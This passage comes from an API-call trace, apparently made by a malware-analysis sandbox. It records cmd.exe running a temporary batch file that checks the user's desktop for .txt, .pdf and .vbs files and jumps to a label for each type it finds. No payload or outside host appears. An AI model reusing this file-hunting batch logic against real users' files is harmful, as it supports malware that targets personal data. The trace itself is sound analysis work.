lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0038.408] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17be, lpOverlapped=0x0) returned 1 [0038.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0038.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0038.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.408] GetFileType (hFile=0x74) returned 0x1 [0038.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.408] GetProcessHeap () returned 0x4e0000 [0038.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.408] _tell (_FileHandle=3) returned 3697 [0038.409] _close (_FileHandle=3) returned 0 [0038.409] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.409] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0038.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0038.409] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17bc, lpOverlapped=0x0) returned 1 [0038.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0038.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0038.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.409] GetFileType (hFile=0x74) returned 0x1 [0038.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0038.409] GetProcessHeap () returned 0x4e0000 [0038.409] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.409] GetProcessHeap () returned 0x4e0000 [0038.409] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.409] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.410] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.410] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.410] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.410] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.410] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.410] GetProcessHeap () returned 0x4e0000 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.410] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.411] _tell (_FileHandle=3) returned 3722 [0038.411] _close (_FileHandle=3) returned 0 [0038.411] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0038.411] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.411] GetLastError () returned 0x2 [0038.411] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.411] GetLastError () returned 0x6 [0038.411] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.411] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.412] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.412] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.412] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.412] SetConsoleInputExeNameW () returned 0x1 [0038.412] GetConsoleOutputCP () returned 0x1b5 [0038.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.412] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.412] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.413] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.413] GetProcessHeap () returned 0x4e0000 [0038.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.414] GetProcessHeap () returned 0x4e0000 [0038.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0038.414] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a3, lpOverlapped=0x0) returned 1 [0038.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0038.414] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0038.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.414] GetFileType (hFile=0x74) returned 0x1 [0038.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0038.414] GetProcessHeap () returned 0x4e0000 [0038.414] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.414] GetProcessHeap () returned 0x4e0000 [0038.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.414] _tell (_FileHandle=3) returned 3724 [0038.414] _close (_FileHandle=3) returned 0 [0038.414] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.414] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0038.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0038.415] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a1, lpOverlapped=0x0) returned 1 [0038.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0038.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0038.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.415] GetFileType (hFile=0x74) returned 0x1 [0038.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0038.415] GetProcessHeap () returned 0x4e0000 [0038.415] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.415] GetProcessHeap () returned 0x4e0000 [0038.415] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.415] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.415] GetProcessHeap () returned 0x4e0000 [0038.415] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.415] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.415] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.415] GetProcessHeap () returned 0x4e0000 [0038.415] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.416] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.416] GetProcessHeap () returned 0x4e0000 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.416] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.416] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.416] GetProcessHeap () returned 0x4e0000 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.416] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.416] GetProcessHeap () returned 0x4e0000 [0038.416] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.416] GetProcessHeap () returned 0x4e0000 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.417] _tell (_FileHandle=3) returned 3749 [0038.417] _close (_FileHandle=3) returned 0 [0038.417] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0038.417] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.417] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.417] GetLastError () returned 0x2 [0038.417] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.417] GetLastError () returned 0x6 [0038.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.417] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.418] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.418] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.418] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.418] SetConsoleInputExeNameW () returned 0x1 [0038.418] GetConsoleOutputCP () returned 0x1b5 [0038.418] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.418] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.418] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.418] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.418] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.418] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.419] GetProcessHeap () returned 0x4e0000 [0038.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.419] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.419] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0038.419] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1788, lpOverlapped=0x0) returned 1 [0038.419] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0038.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0038.419] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.419] GetFileType (hFile=0x74) returned 0x1 [0038.420] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.420] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.420] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.420] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.420] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.420] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.420] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.420] GetProcessHeap () returned 0x4e0000 [0038.420] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.421] GetProcessHeap () returned 0x4e0000 [0038.421] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.421] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.421] _tell (_FileHandle=3) returned 3774 [0038.421] _close (_FileHandle=3) returned 0 [0038.421] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0038.421] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.422] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.422] GetLastError () returned 0x2 [0038.422] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.422] GetLastError () returned 0x6 [0038.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.422] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.422] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.422] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.422] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.422] SetConsoleInputExeNameW () returned 0x1 [0038.423] GetConsoleOutputCP () returned 0x1b5 [0038.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.423] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.423] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.423] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.423] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 